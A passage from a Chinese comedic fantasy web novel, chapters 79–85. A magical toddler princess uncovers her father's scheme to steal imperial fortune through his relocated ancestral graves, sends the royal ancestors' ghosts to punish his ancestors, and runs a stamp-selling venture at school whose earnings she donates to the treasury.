其实,从打算和离开始,她就将许振山这些年的底儿查得清清楚楚。
这些年,许振山从她这儿骗走的钱财,明面上花了不少,可暗地里,他偷偷置办了好几处产业——城南两个铺子,城东一个布庄,每年营收都不菲。
这些隐形的资产,许振山瞒过了所有人,就连他娘都不知道。
所以,什么是自私?
大抵就是像许振山这样,深情可弃,利益至上,凉薄入骨……
于是她步步为营,拉他入赌坑、设计借印子,就是想把他逼到绝境,让他把那些藏起来的钱财全部都吐出来。
可那畜生,竟是硬扛到了最后。
若不是面对牢狱之灾,怕是更难吐出来。
杨婉云低头看着怀里粉糯糯的小团子,心里涌起一阵复杂的情绪。
幸亏……
幸亏自己这些年,并未傻到把自己全部底牌都亮给他。
就像他只知,她是江南首富之女,却不知她是京都城最大的皇商。
他也只知,她只是深宅内妇,却不知她名下铺子上千余家,可谓日进斗金。
他甚至只知,她软弱可欺,却不知她运筹帷幄步步为营,早将他的一切算得清清楚楚。
或许冥冥之中,她内心深处对许振山,从来就不是完全信任的。
此刻,她很庆幸。
庆幸自己在走错路后,还有回头的勇气和底气。
也庆幸自己在受尽委屈后,还能有翻身的能力和资本。
更庆幸自己在看错人后,及时止损,没有一错再错、沉沦到底。
杨婉云把女儿往怀里搂了搂,低头看了看她,眼眶微微泛红。
“呦呦,”她声音轻柔,带着几分小心翼翼,“娘亲执意要和离,带你离开许家,以后你只能跟着娘了……”
“你……你会怨娘吗?”
许呦呦抬起头,伸出小胖手,紧紧搂住杨婉云的脖子,稚声稚气,却异常坚定,<
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br>“扒怨扒怨!”
“凉似介个凡间最好滴凉!窝最爱凉咧!”
她用小脸蹭了蹭杨婉云的脸,亲昵地贴在她脸上。
“以后,有窝护着凉!谁欺负凉,窝就拿鸡毛掸子抽屎他!”
杨婉云的眼眶,瞬间盛满温热的泪水。
她一把将女儿紧紧抱在怀里,下巴抵着她的小脑袋,眼泪无声滑落。
“好……好……”
“娘有呦呦,一切就都够了……”
当夜。
许呦呦在床上翻来覆去,索性就不睡了。
她悄悄爬起来,蹑手蹑脚下了床。
“冬梅姐姐,”她压低声音,“肘,带窝肥一肥。”
冬梅:……
自打上次,抱着小主子,飞到陈王的别院,小丫头从此就爱上了这深夜飞翔的感觉。
冬梅也二话不说,将她抱进怀里,悄无声息地消失在夜色中。
转瞬之间,便来到许府。
屋顶上,一个小小的身影蹲在那儿,两个小揪揪在月光下显得格外可爱。
许呦呦趴在瓦片上,透过缝隙往里看。
屋内,烛火昏暗。
许振山站在桌前,对面坐着一个身穿暗灰道袍的道长。
那道长约莫五十来岁,身形微瘦,面容阴鸷,一双三角眼透着精明与算计,下巴上的山羊胡也是一翘一翘的。
“道长,您放心,”许振山压低声音,话里话外却掩不住兴奋,“一切都按您说的办妥了。祖坟我已经偷偷迁到护国寺山脚下,就在皇家宗祠旁边,离得最近的那块地。”
道长捋着山羊胡,满意地点点头,“那木偶呢?”
“放了放了!”许振山赶紧道,“按照您的吩咐,埋在祖坟正下方,保证每天都能吸收皇家气运。”
道长眯起眼,眼中闪过一丝精光。
“没人发现吧?”
“没有没有!”许振山拍着胸脯,“我亲自转运的,保证神不知鬼不觉!”
道长沉吟片刻,又道:“你娘呢?”
许振山一愣:“我娘?她……她中风了,躺在床上动不了。”
“好生养着。”道长语气阴冷,“你要成事,后面也只能用她了。”
第80章 她来干嘛?
许振山连连点头:“是是是,道长放心!”
接着,他从袖中掏出一个沉甸甸的布袋,扔在桌上。
“道长,这是定金。事成之后,双倍奉上。”
道长冷冷看了他一眼,拿了定金,转身就走,“这是最后一次,此事过后,你别再来找我了。”
许振山赶紧起身,恭敬回应,客客气气地把他从后门送走。
趴在屋顶上的许呦呦,此刻,小脸绷得紧紧的,浑身上下都透着严肃。
就连冬梅跟了她这么久,都没见过小主子这副神情。
不是生气,也不是暴躁,而是……一种……肃穆。
“小郡主?”冬梅轻声问。
许呦呦眯起眼,小手一挥,“冬梅姐姐,窝们接着飞一飞……”
“去哪儿?”
“护国寺。”
冬梅二话不说,抱起她,继续消失在夜色中。
夜风在耳畔呼呼吟啸。
冬梅将许呦呦裹得紧紧的,小姑娘趴在冬梅怀里,小嘴抿得紧紧的。
很快,到了护国寺的皇家宗祠。
月色如水,洒在庄重的殿宇上,显得格外肃穆。
四周静悄悄的,只有夜风吹过檐角的风铃声。
许呦呦从冬梅怀里滑下来,迈着小短腿,大摇大摆地推开宗祠的门。
“吱呀——”
门开的瞬间……
卧槽!!
哗啦啦——
只见那一排排原本庄严肃穆的牌位,迅雷不及掩耳之势,齐刷刷地倒了下去。
那速度,快得简直让人不忍直视。
许呦呦:(+_+)?
牌位们:(⊙o⊙)?
彼此对视的瞬间,死一般的寂静。
片刻后。
牌位们内心疯狂尖叫:
卧槽卧槽卧槽!!!
什么风把这小祖宗给吹来了?!
完了完了完了!!!
她不会又是来抽我们的吧?
不对啊!最近咱们可乖了!一次都没去那不肖子孙的梦里!我确定,一次都没有啊!
咱们每天都有认真修炼!真的!比生前当皇帝还认真啊!
都给我闭嘴,快快快,再想想再想想,咱这几个月还有没有干过什么坏事?从头发丝到脚指头,都给我想一遍!
没有!
没有!
没有!!!
那她来干嘛?
“咳咳——”
许呦呦背着小手,老神在在地走进牌位前面,轻轻咳嗽了一声。
最上方的萧家开国祖宗的牌位,瞬间“噌”地一下跳了起来。
那动作,灵活得根本不像一块一把年纪的木头牌子。
其他牌位依旧趴在供桌上,一动也不敢动,甚至连气都不敢多喘两口。
开国祖宗的牌位颤颤巍巍地立在那儿,努力展现出一个恭敬的姿势。
“小……小祖宗,您大驾光临,是有什么吩咐吗?”
他的声音都在哆嗦,跟抖筛糠似的。
“您放心!自打上次得您教训后,我们日日夜夜都谨记于心啊!”
“再也没敢去骚扰那不肖子……啊呸!不是!是再也没有去打扰过皇帝!”
“除此之外,我们还深刻反思了!”他赶紧继续说,“现在每天搁这儿刻苦修炼,护卫江山社稷!”
“白天修,晚上也修,晴天修,雨天也修,吃饭……哦不对,我们不用吃饭,反正就是一直在修!”
“而且我们还互相监督!谁要是敢偷懒,其他人就拿香灰砸他!”
另一个牌位赶紧补充:“对对对!老二前几天偷懒打瞌睡,还被我们砸得满头香灰!”
“我没有!我只是闭眼沉思!”
“你放屁!你都打呼噜了!”
“我是牌位,能打什么呼噜!”
“奶奶个腿的,你那震动,差点把供桌镇碎!”
“闭嘴,吵屎啦!!”许呦呦小手一叉腰,吓得他们立刻乖乖趴下,再次一动不动。
“行辣行辣,窝康到泥们滴努力辣。”
说着,她伸出小胖手,手指轻轻一挥。
只见点点金光从她指尖洒落,如同星辉,飘飘扬扬地落在每一个牌位上。
萧家先祖们瞬间愣住了。
那金光落在身上的瞬间,只感觉一股温润的力量涌入魂体,通体舒畅,仿佛泡在温泉里一般。
平日里修炼时那些想不通的地方,此刻瞬间通透。
整个魂儿都倍感有力量,仿佛年轻了几百岁!
开国祖宗激动得牌位都在抖:“这……这是……”
他能感觉到,自己的魂体明显比刚才凝实了几分!
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修炼了上百年的瓶颈,竟然松动了!
而其他牌位,更是彻底疯了。
“天呐!我感觉我能多修五百年!”
“我悟了!我悟了!那段功法我终于悟了啊!”
“呜呜呜,小祖宗……您真是我祖宗!”
“牌位没有眼泪,但我感觉我在哭泣……”
一时间,宗祠里充满了狂喜跳动的声音。
许呦呦摆摆小手:“行辣行辣,都起来趴。介次窝乃,一似康康泥们滴表现,二似,有个任务要交代给泥们。”
开国先祖立刻挺直自己的牌位:“小祖宗您说!不管什么事,哪怕有违鬼伦鬼则,我们也在所不辞!”
“对对对!在所不辞!”众先祖纷纷表忠心。
许呦呦满意地点点头,伸出小胖手,往山下一指。
“呐,那里乃了几个鬼,泥们阔要好好照顾照顾他们。”
她顿了顿,又补充道:“就似用鸡毛掸子,往屎里抽的辣种照顾。”
开国祖宗心领神会,眼里却闪烁着兴奋。
“小祖宗,您放心!这事啊,我们熟!”
“上次您走后,我们还私下练习过!”
“对对对!我们专门研究了一套抽法,保证又疼又不伤魂体根本,可以天天抽,日日抽,夜夜抽的那种……”
许呦呦:……
好好好,介群老东西,没白揍。
“行趴,辣窝就走辣。”她转身,迈着小短腿往外走。
“小祖宗慢走!”
“小祖宗常来啊!”
“小祖宗下次再来玩啊!”
许呦呦头也不回,摆摆小手,消失在夜色中。
宗祠的门缓缓关上。
里面安静了一息。
然后——
“呼……吓死我了!”
“我……我刚才差点以为自己要魂飞魄散了!”
“你别说,我刚才甚至连遗言都想好了!”
“你一个牌位,能有什么狗屁遗言!”
“我可以说给我子孙后代听啊!”
“你后代都死光了……”
“……”
开国祖宗厉斥一声:“行了行了,都别贫了。赶紧把自己立起来,收拾收拾,准备干活!”
牌位们这才颤颤悠悠地把自己立起来,排得整整齐齐。
第81章 我庇佑你妹啊
开国祖宗继续吩咐:“小祖宗说的,你们也听到了,山下来了一群不鬼分子!这是咱们报效小祖宗的好时机啊!”
众牌位瞬间来了精神了。
“对对对!报效小祖宗!”
开国先祖鬼手一挥,气势十足地发号施令:
“现在开始,咱们兵分三路,把整个后山全部巡逻一遍!一寸草皮都不许放过!”
“得令!”
哗啦啦,一道道虚影,转瞬之间就飘出了宗祠。
后山。
月黑风高,阴风阵阵。
几炷香后。
他们在山脚下的一个角落里,竟真的发现了几个突兀的小坟包。
这几个坟包一看就是新埋的,土还是松的。
更可疑的是——连个墓碑都没有,鬼鬼祟祟地缩在角落里,就像生怕被人发现一样。
“老祖宗,这边有情况!!”
开国祖宗带着大部队,迅速赶到。
众鬼围成一圈,盯着那几个小坟包,窃窃私语。
“这几个鬼,是不是小祖宗要咱们照顾的?”
“我觉着是,我刚才飘过来的时候,听见他们在底下说话呢!”
“说什么了?快说说……”
那个牌位压低声音,学着那几个鬼的语气:
“他们说:‘咱们许家子孙可真聪明啊!竟能想到把咱们偷摸埋在这护国寺山下,天天吸收皇家气运!这日子,美滋滋的!’”
“还有一个说:‘可不嘛,再吸个一年半载,咱们就能修道成仙了!到时候,谁还管他皇家不皇家。’”
“‘还是咱们许家子孙有出息啊!振山啊,可是探花郎,他那女儿更了不得,才一岁半,就被封了郡主!以后咱们许家,定是要飞黄腾达的!’”
萧家先祖听到这儿,齐齐一愣。
许家?
探花郎?
一岁半的郡主?
尼玛!!!
这不就是小祖宗吗?!
萧家开国老祖宗气得直抖:“好家伙!敢情这几个鬼,是小祖宗的祖宗?”
另一个先祖恍然大悟:“怪不得小祖宗要咱们照顾他们!原来是要清理门户啊!”
“天呐!”一个萧家先祖捂着心口,“小祖宗连自己祖宗都不放过,那对咱们……可真是太手下有情了!”
“可不是嘛!”又一个先祖感慨万千,“小祖宗上次只是抽了咱们一顿,可没把咱们往死里整啊!呜呜呜……小祖宗对咱们真是太好了!”
“就是就是!小祖宗刀子嘴豆腐心,嘴上说要抽死咱们,其实心底里还是爱咱们的……”
“你哭什么哭!赶紧干活!报答小祖宗的时候到了!”
萧家开国老祖宗一挥手,气势汹汹:
“既然是小祖宗的吩咐,那咱们可得好好‘照顾照顾’!”
他特意把“孝敬”两个字咬得极重。
“孩儿们,冲啊!”
许家先祖们正坐在坟头上,美滋滋地吸收着皇家气运,忽然感觉头顶一阵阴风刮过。
紧接着,“砰”的一声,坟包被推开了!
几道虚影冲下来,一把将他们揪了出去!
许家先祖们还没反应过来,就被扔到了空地上。
“哎哟!谁啊!谁踏马找死啊,敢动老子?”
许家老祖,一个留着山羊胡的老鬼。
从地上爬起来,定睛一看,发现周围围了一圈气势汹汹的鬼影。
这气势,一看就不是普通孤魂野鬼。
他心里咯噔一下,但面上还强撑着:
“你……你们是何处的孤魂野鬼?竟敢跑到这儿来跟我们抢地盘?”
萧家先祖们不说话,只是居高临下,阴恻恻地看着他们。
许家老鬼被看得心里发毛,但想到自己有靠山,又挺直了腰杆:
“你们可知道我们是谁?说出来怕吓死你们!”
众萧家先祖们双手抱胸,“哦?来来来,放马过来吓老子,老子倒要瞧瞧,你们到底是谁?”
许家老鬼冷笑一声:“既然你们给脸不要脸,还敢如此嚣张,那就别怪我不客气了!”
他昂起头,得意扬扬地斥道:
“我们可是受皇家先祖庇佑的!你们这些孤魂野鬼,识相的就赶紧滚!不然一会儿皇家先祖们来了,定让你们魂飞魄散!”
萧家先祖们彼此对视了一眼,然后眯着眼睛看着他。
许家先祖以为他们怕了,语
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气更加嚣张:
“怎么?怕了吧?怕了就赶紧滚!这地盘我们占了,以后就是我们的!”
萧家开国祖宗简直被这鬼东西给气笑了。
“尼玛,你说什么玩意?”
他走上前,一巴掌抽在许家老鬼脑袋上。
“谁庇佑的你?你再说一遍?”
许家老鬼被抽得晕头转向,捂着脑袋,一脸愤恨地嘴硬:
“你……你敢打我?你给我等着,我们受皇家先祖庇佑!你们这些孤魂野鬼……”
“啪!”
又是一巴掌。
“什么玩意?”萧家开国老祖宗指着自己,“老子能庇佑你?”
许家老鬼定睛一看,这才注意到对方身上隐隐流转的皇家气运——那气运,可比他们吸进去的浓度厚多了!
他的脸,瞬间白了。
“你……你们是……”
“老子就是萧家开国皇帝!”萧家开国老祖宗一脚踹过去,“你他娘的受老子庇佑?你这是明晃晃地在骂老子眼瞎啊?”
许家先祖们,彻底傻了。
“不不不……不是……我们……”
“你们这群鳖孙,”另一个萧家先祖冲上来,又一巴掌扇过去,“偷偷摸摸埋在这儿,吸我们的气运,还敢打着我们的旗号招摇撞骗?”
“老子活了上百年,还从未见过这么不要脸的!”
“还庇佑你?我庇佑你妹啊!”
许家先祖们抱头鼠窜,惨叫连连。
“误会……误会啊!”
只见萧家开国老祖宗一挥手,气势如虹:
“孩儿们,抄家伙!干他娘的!”
“记住啊,别真干死了!小祖宗特意交代了,要好好‘照顾’他们,但是不能弄死他们,这因果,咱们可不能沾!”
“明白,来吧,冲啊!”
瞬间,萧家先祖们如狼似虎地扑了上去。
这些萧家先祖,生前哪个不是能文能武、马上打天下的主儿?
死后修炼了几百年,收拾几个刚入门的许家小鬼,简直就跟玩似的。
只见一个萧家先祖抓起一个许家鬼,像扔雪球似的,往天上一抛,另一个萧家先祖跳起来,一脚又给踹飞。
第82章 就按那个标准来
“来来来,踢过来,给老子也玩玩……”
那许家鬼在空中划过一道优美的弧线,砸在另一个许家鬼身上,两个滚作一团。
这边,另外两个萧家先祖左右夹击,把一个许家鬼踹的原地转圈,转得头晕眼花,趴在地上直吐。
那边,几个萧家先祖把许家老鬼围在中间,你一拳我一脚,热热闹闹得跟踢毽子似的。
“哎哟!别打了!别打了!”
“砰砰砰!”
“求求你们……啊啊……放过我们吧……我们错了……”
“砰砰砰!”
“哎呦哎呦……我们以后,再也不敢了……”
“砰砰砰!”
……
顿时,整个山脚下,许家先祖们鬼哭狼嚎,求饶声此起彼伏。
半个时辰后。
萧家先祖们终于停了手,轻松地拍了拍手,长长地舒了口气。
“呼……真他娘的爽啊!”
“好些年没活动活动筋骨了,我的太极散都快废了!”
“可不是嘛!我这无处安放的小心脏,跳得我兴奋极了!”
萧家开国老祖宗看着地上蜷缩成一团的许家鬼们,满意地点点头。
“行了,今日份照顾到此为止!”
他大手一挥手,接着又开始部署:
“从现在开始,咱们兵分三组,按时辰换班!”
“每组负责四个时辰,换班之后,就往死里揍一顿!严格执行小祖宗的命令!”
“记住,揍的时候也要讲究方式方法,不能揍死,那就专门往他们的痛点上揍!”
他顿了顿,想了想,又补充道:
“这个你们都有经验,上次小祖宗是怎么抽咱们的,都还记得吧?”
萧家众先祖齐齐点头:“记得记得!”
“那就按那个标准来!”
“得令!”
许家先祖们瘫在地上,听到这话,眼前一黑。
这……这日子,还怎么过啊!
月光下,萧家先祖们留下一队,只见他们摩拳擦掌,跃跃欲试。
而许家先祖们瑟瑟发抖,欲哭无泪。
后山的风,吹得格外凄凉。
次日一早。
阳光透过窗棂洒进来,许呦呦刚睁开眼睛,就看见冬梅悄无声息地出现在床边。
“小郡主,”冬梅一边替她穿衣服,一边压低声音汇报,“您让查的事,有消息了。”
许呦呦一个骨碌爬起来,原本困顿的小眼睛,瞬间精神了:“嗦!”
冬梅深吸一口气,赶紧汇报:
“那日您从许府要债回来,让奴婢去查许振山的底细,奴婢派了暗卫把他祖宗十八代都翻了一遍。”
“结果您猜,怎么着?”
许呦呦好奇的眼睛里,迸射着浓浓的八卦,“肿么着?”
“这许振山,中榜之前,在许家村就是个又穷又懒又笨、游手好闲的混子!”
“许家当时是他们村里出了名的穷酸——茅草屋漏风漏雨,一家人共穿一条裤子,谁出门谁穿,过年想吃顿饺子,得去河里捞野菜充数,村里人提起许家,都连连摇头。”
冬梅继续道,“只是忽然有一天,许振山从山脚下救了一个身受重伤的道士。”
“当时,那道士浑身是血躺在那儿,许振山本来不想管,抬脚就要走。结果那道士一把抓住他,说要帮他实现心中宏愿。”
“许振山这才把道士背回家,还破天荒地请了土郎中。”
“后来那道士在许家养了半个月的伤,在此期间,他让许振山去修祖坟。”
“当时这事在许家村闹出了不小的动静。许家穷得饭都吃不上,竟然要砸锅卖铁去修祖坟?村里人都说这一家子疯了。”
“但神奇的事接着就发生了,就在那道士离开后,许家的运气,好到让人不敢相信!”
“他们一家,走哪儿都能捡到东西!今天捡块碎银,明天捡个玉佩,后天捡个人参,就跟开了光似的!”
“更邪门的是许振山本人,他本没上过一天学,小大字不识一个,却突然间就像文曲星附体一般,七窍全开!”
“别人五年才能学完的东西,他用一年就全学完了!成了方圆三十里内,小有名望的奇才!”
“后来更是一路开挂,
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秀才、举人、探花……一路高歌猛进,风生水起!”
许呦呦听到这儿,小脸已经绷得紧紧的。
“但是……”
冬梅话锋一转,声音里是深深的疑惑:
“这里面还有好几处蹊跷的地方。”
“许振山中秀才那年,他祖父突然就死了。发现的时候,整个人就是个干尸,皮包骨头,就好像被什么东西吸光了阳气。”
“接着,他中举人的时候,他祖母也突然暴毙。死状一模一样——也是干尸。”
“后来,他中探花的时候,他爹也死了——还是干尸。”
“这三件事,都被许家瞒得紧紧的,对外只说是病死的。”
冬梅顿了顿,“还有一个更奇怪的地方——”
“许家村的村长家,本是十里八村最有名望的举人之后,家中也小有财气。”
“他家小儿子更是出色,三岁作诗,七岁作文,当时人称‘小神童’。”
“只是突然之间,他家就跟倒了血霉似的,死的死,病的病,很快一家子就全没了。”
“有人说,是遭了瘟疫;也有人说,是惹了什么不干净的东西……”
冬梅说完,看着许呦呦的脸色,心里咯噔一下。
只见小主子那张圆溜溜的小脸上,阴沉沉的,两个小揪揪都透着一股戾气。
“介个畜生!”
“真不似个东西呀……”
“虾米都敢偷,竟然连银的运势都敢偷!”
许呦呦的小拳头攥得滋滋作响。
“那臭道士……”
冬梅赶紧接话:“小郡主放心,昨晚看到的那个道士,奴婢已经吩咐人去查了。”
“暗卫正在一路追踪,据说他往北边去了,相信很快就能查到他的底细。”
许呦呦这才满意地点点头,小脸上的阴沉散了几分。
就在这时,门外传来一阵欢快的脚步声。
“呦呦妹妹,我来接你啦!”
谢怀轩的声音脆生生的,又透着兴奋。
紧接着,另一个低沉又熟悉的声音响起:
“闺女!爹爹也来送你上学啦!”
第83章 奇奇怪怪,又可可爱
许呦呦眼睛瞬间亮了,她“噌”地从床上跳下来,光着小脚丫子就往外跑。
“爹爹!爹爹来啦!”
冬梅在后面追着给她穿鞋:“小郡主!鞋!鞋!”
门口,顾振宇一身玄色锦袍,身姿挺拔地站在马车旁,手里捧着一个精致的木盒子,脸上带着憨憨的笑。
看见呦呦跑出来,他眼睛一亮,三步并作两步迎上去,一把将小团子抱起来。
“哎哟,爹爹的乖闺女!想爹爹没有?”
许呦呦搂着他的脖子,小脸笑成一朵花:“想啦想啦!天天想!”
顾振宇乐得嘴都合不拢。
杨婉云站在门口,看着这一幕,嘴角忍不住弯了弯。
因为谢怀轩带了很多好吃的放在马车里,所以许呦呦连早膳都没吃,就欢欢喜喜地进了马车。
从第一天上学,到现在,许呦呦终于不再被她娘塞进马车了。
“爹爹,泥拿的似虾米?”许呦呦眼尖,一下子就瞄到了那个木盒子。
顾振宇神秘兮兮地把她抱进马车,打开盒子。
“闺女你看!爹爹给你准备的!”
只见盒子里,整整齐齐摆满了各种各样的小印章——有小兔子、小老虎、小老鼠、小花花,甚至还有竖着大拇指的“大拇哥”……
形态各异,栩栩如生,每一个都精巧可爱极了。
许呦呦看得眼睛都直了,嘴巴张得大大的。
“哇——!!!”
她发出一声惊叹,小胖手伸进去,摸摸这个,捏捏那个,爱不释手。
顾振宇看着她这副小模样,心里美滋滋的。
要不是昨日进宫,看到大侄儿四皇子在那亲自用刻刀刻各种形状的小印章,他还不知道自己闺女原来喜欢这些呢!
于是他连夜吩咐人赶制,找了好几个手艺最好的匠人,刻了整整一盒子,各种花样都有,赶在她上学前送过来。
“爹爹,泥阔真似太好咧!”许呦呦抱着盒子,彩虹屁跟不要钱似地往外冒,“泥似介个世上最好滴爹爹!最帅滴爹爹!最最最腻害滴爹爹!”
顾振宇被夸得飘飘然,嘴角都快咧到耳根了。
“那当然!以后闺女想要什么,只管跟爹爹说!不用麻烦别人!”
许呦呦疯狂点头,小手在盒子里翻来翻去,笑得见牙不见眼。
忽然,她又从自己怀里的小兜兜里,掏出一个精致的小盒子。
那盒子是红木雕花的,上面刻着兰花,一看就价值不菲。
顾振宇一愣:“闺女,这是……”
许呦呦笑眯眯地打开盒子,里面是一盒上好的胭脂,颜色嫣红,香气扑鼻。
冬梅在旁边看到这一幕,眼角直抽抽。
她捂着心脏,默默地给自己顺气。
完了完了完了……
小主子这是把夫人最宝贝、最心爱的那盒胭脂给顺出来了啊!
那胭脂,是杨婉云最心爱之物,据说是江南名匠特制的,一年才产那么几盒,有钱都买不到。
夫人平时都舍不得用,放在梳妆台上当宝贝供着。
现在……
竟被小主子拿来当印泥了?
冬梅仿佛已经看到晚上那根鸡毛掸子,在向小主子热情地招手了。
马车很快到了学堂。
许呦呦抱着盒子,一溜烟跳下马车,小短腿噔噔噔就往里冲。
谢怀轩赶紧跟在后面追:“妹妹!慢点,等等我!”
朱静言老远就看见了她,龇牙咧嘴地刚要迎上去,就感觉一阵风从他身边刮过。
朱静言:???
学堂里。
孩子们正三三两两地聚在一起,有的在炫耀自己刚得的新文具,有的在讨论昨天夫子留下的课业。
忽然,门被“砰”地推开了。
许呦呦抬头挺胸地站在门口,小胸脯挺得高高的,两个小揪揪都神气十足地翘着。
只见她,捧着个精致的小盒子,一脸傲娇地往学堂里走去。
孩子们瞬间被吸引过来,纷纷抬头,齐刷刷地看向她。
然后——
全都愣住了!!
只见小姑娘的小脸上,额头上,脖子上,甚至连胖乎乎的小手上……
都是红彤彤的,小老虎、小兔子、小老鼠、小花花、大拇哥……各种各样奇奇怪怪,又可可爱爱
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的印章,印得浑身上下到处都是,真是一点缝隙都没留啊……
整个人,花里胡哨的,就跟开了染坊似的……
“康康!康康!”
此刻,她扬起小脸,得意扬扬地指着自己的小花脸:
“窝也有印章啦!窝滴还似小兔纸、小脑斧、小脑鼠、小花花、大拇哥……阔比泥们滴都好康!”
整个学堂,瞬间安静下来。
然后——
“哇——!!!”
一个小姑娘突然尖叫起来,“这也太好看了趴!”
另一个小男孩也凑过来,眼睛都直了:“哎呀,这可比夫子那个黑乎乎的印章,好看太多了!”
“那个小兔子好可爱!”
“我喜欢那个小脑斧!”
“我要那个小花花,还有那个大拇哥!”
孩子们一窝蜂地涌上来,把许呦呦围得水泄不通。
“呦呦,可不可以给我也印一个?”
“我也想要!我也想要……”
“求你了,求你了……”
许呦呦被羡慕的,有些飘飘然,于是,小手一挥,豪气万丈:
“好好好!都有都有!”
她把盒子往桌上一放,指着那些印章,一本正经地宣布:
“一个铜板印一个!随泥挑,随泥选,总有一款戳泥眼!”
孩子们立刻,开始疯狂翻兜。
“我有两个铜板,我要印两个!!”
“哼,我有三个铜板呢,我要印三个,就要比你多!”
“我有很多铜板,让我先来……”
一时间,学堂里热闹得跟集市似的。
谢怀轩站在旁边,看着她这副“生意兴隆”的样子,嘴角忍不住抽了抽。
朱静言挤进来,手里高高举着两个铜板:“师父师父!给我印两个!一个印脑门上,一个印手背上!”
许呦呦收钱收得眉开眼笑,拿起小老虎印章,沾了沾胭脂,“啪”地一下印在朱静言脑门上。
“乃乃乃,排队排队哈,泥排队,窝排队,快乐翻倍扒浪费。”
“好咧!下一个……”
冬梅站在门口,看着这一幕,默默扶额。
第84章 真是防不胜防啊
就这样,许呦呦的小印章生意,风生水起地做了起来。
第一天,整个幼儿班热烈地抢着盖章。
第二天,半个学堂的孩子,都排着队等她盖印章。
第三天——
整个国子监都轰动了!
于是,两日后。
杨婉云和顾振宇,同时被“请”进了学堂。
两人刚进院门,眼前就是热闹的一幕……
只见院子里,黑压压地排着长长的队伍,从学堂门口一直蜿蜒到院墙根,少说也有四五十号人。
而队伍最前端,许呦呦端坐在一张小椅子上,面前摆着那盒花花绿绿的印章和那盒已经快见底的胭脂。
她笑得见牙不见眼,还一本正经地给排到跟前的小同窗盖印章。
“泥要虾米?”
“小脑斧?好咧!”
“啪!”
一个红彤彤的小老虎印在手背上。
“下一个!”
旁边,五皇子萧景珩负责整理印章,把用过的放回原位,把脏了的用帕子擦干净,动作娴熟,井井有条。
另一边,谢怀轩和朱静言则在队伍两侧巡逻,时不时吆喝两声:
“排队排队!不许插队!”
“你!说你呢!后面去!”
这时,孔大儒从旁边,捂着胸口,颤颤巍巍地走过来,老泪纵横:
“来来来,你们……你们自己看看吧!”
他指着那长长的队伍,气得胡子都在
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抖:
“三天了!已经三天了啊!小郡主不但丝毫没有收敛,甚至还想把生意扩大到隔壁去……”
“老夫对她,真是防不胜防啊!”
他捂着胸口,一脸生无可恋:
“造孽啊……老夫上辈子也不知道杀了多少猪,这辈子才来教这破书……”
“这小郡主,老夫真的教不了一点了啊!”
杨婉云看着那热火朝天的场面,嘴角忍不住弯了弯。
“你还别说,她还挺有商业头脑的,这点倒是像我……”
顾振宇立刻接话:“对对对!咱再看看,这队伍排得多好,纪律严明,井然有序,这说明咱闺女就是天生的领袖!”
孔大儒: ̄_ ̄
第85章 瞧瞧人家小郡主
皇帝被她哄得心花怒放,哈哈大笑:“好好好!皇伯伯就是大脑斧大狮纸!”
小姑娘盖完章,忽然想起了什么,赶紧从椅子上拿起一个小布袋,双手捧着,郑重其事地递到皇帝面前。
“皇伯伯,呐!介似窝送给国库滴!”
皇帝一愣。
许呦呦打开布袋,里面是满满一袋子铜板,都是她这两日做生意赚的。
“窝凉似皇商,她嗦,要把银子交给国库,老百姓才能次饱饭。”
“夫子也嗦过,那虾米……天下忧伤窝忧伤,天下快乐窝快乐……”
孔大儒扶额,呃,我的宝儿,那是先天下之忧而忧,后天下之乐而乐啊!
小家伙继续对着皇帝比划,“所以,皇伯伯,窝也要把铜板给国库!介样,老百姓又阔以,多啃两个馒头了!”
皇帝双手托着那袋沉甸甸的铜板,愣住了。
他低头看着眼前这个粉糯糯的小团子,看着她脸上那认真又骄傲的小表情……
心底最深处,像是被什么东西狠狠触动了。
他的眼眶,瞬间红了。
皇帝蹲下身,将手上的两个小印章捂得紧紧的,声音有些发颤:
“呦呦……好孩子……”
皇后站在门口,看着这一幕,眼眶也湿润了。
她默默走过来,也弯下腰,把呦呦搂进怀里。
孔大儒站在一旁,看着这一幕,刚刚抚平的情绪,又涌了上来。
但这一次,却是动容的。
他捋着胡子,老泪纵横:
“老夫……老夫何其有幸啊……”
“收了这么个胸怀天下、鸿鹄之志的徒弟呀……”
“老夫这辈子,值了!值了啊!”
顾振宇更是一脸傲娇,下巴都快翘到天上去了。
看见没?
这是他闺女!他顾振宇的闺女啊!
杨婉云站在旁边,默默地把怀里那根鸡毛掸子又收了回去。
算了。
今天这顿打,先欠着吧。
第二日一大早。
阳光还没完全照进院子,杨府门口就来了一队人马。
为首的是御前总管高公公,身后跟着两列小太监,捧着大大小小的锦盒、漆盘,在晨光下泛着金灿灿的光。
“圣旨到——杨氏婉云接旨!”
杨婉云赶紧带着呦呦出来,跪地接旨。
高公公展开帛书,尖声念道:
“奉天承运,皇帝诏曰:杨氏婉云,教女有方,心怀天下。其女呦呦,虽年幼却知忧国忧民,捐私蓄以充国库,实乃东夏之幸。杨氏教女有功,特封为护国夫人,赐正二品俸禄,可不上朝,可佩金册。另赐黄金千两、云锦百匹、东珠十斛、玉如意一对、御制珍玩若干。钦此。”
杨婉云愣住了。
护国夫人?
正二品?
东夏开国以来,还没有女子做官的先例啊!虽然是虚职,但这可是正二品的荣耀!
她深吸一口气,双手接过圣旨:“臣妇谢陛下隆恩!”
高公公笑眯眯地扶起她:“杨夫人快请起。陛下说了,这是您应得的。”
他脸上的笑容就没放下来过,看着杨婉云的眼神满是敬意。
杨婉云让刘嬷嬷递过去一个沉甸甸的红封。
高公公连连摆手:“使不得使不得!杂家可不能收!”
杨婉云一愣:“公公,这是规矩……”
“什么规矩不规矩的,”高公公一脸诚恳,“上次小郡主提醒杂家眼睛不好使,杂家回去一查,果然!大夫说,要不是发现得早,再过半年,杂家这眼睛可就瞎了!”
他看向趴在杨婉云怀里的许呦呦,眼中满是怜爱和敬仰。
“小郡主是杂家的救命恩人!杂家怎么能收您的银子?”
许呦呦眨巴眨巴眼,奶声奶气道:“公公,泥眼睛好了米?”
“好了好了!托小郡主的福,好得很!”高公公笑得见牙不见眼,“小郡主以后有什么吩咐,只管跟杂家说!”
许呦呦点点头,一本正经:“好,辣泥高诉皇伯伯,等窝有钱,再捐!”
高公公感动的热泪盈眶,又叮嘱了几句,这才带着人走了。
护国夫人。
这个消息,像长了翅膀一样,瞬间传遍了整个京都城。
东夏开国以来第一位女官!虽然是虚职,但正二品的荣耀,那是多少官员奋斗一辈子都挣不来的!
威武将军府。
威武将军正坐在院子里喝茶,看着门口
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玩泥巴的朱静言,气就不打一处来。
他抬起就是一脚,就踹了上去。
“瞧瞧人家小郡主!”
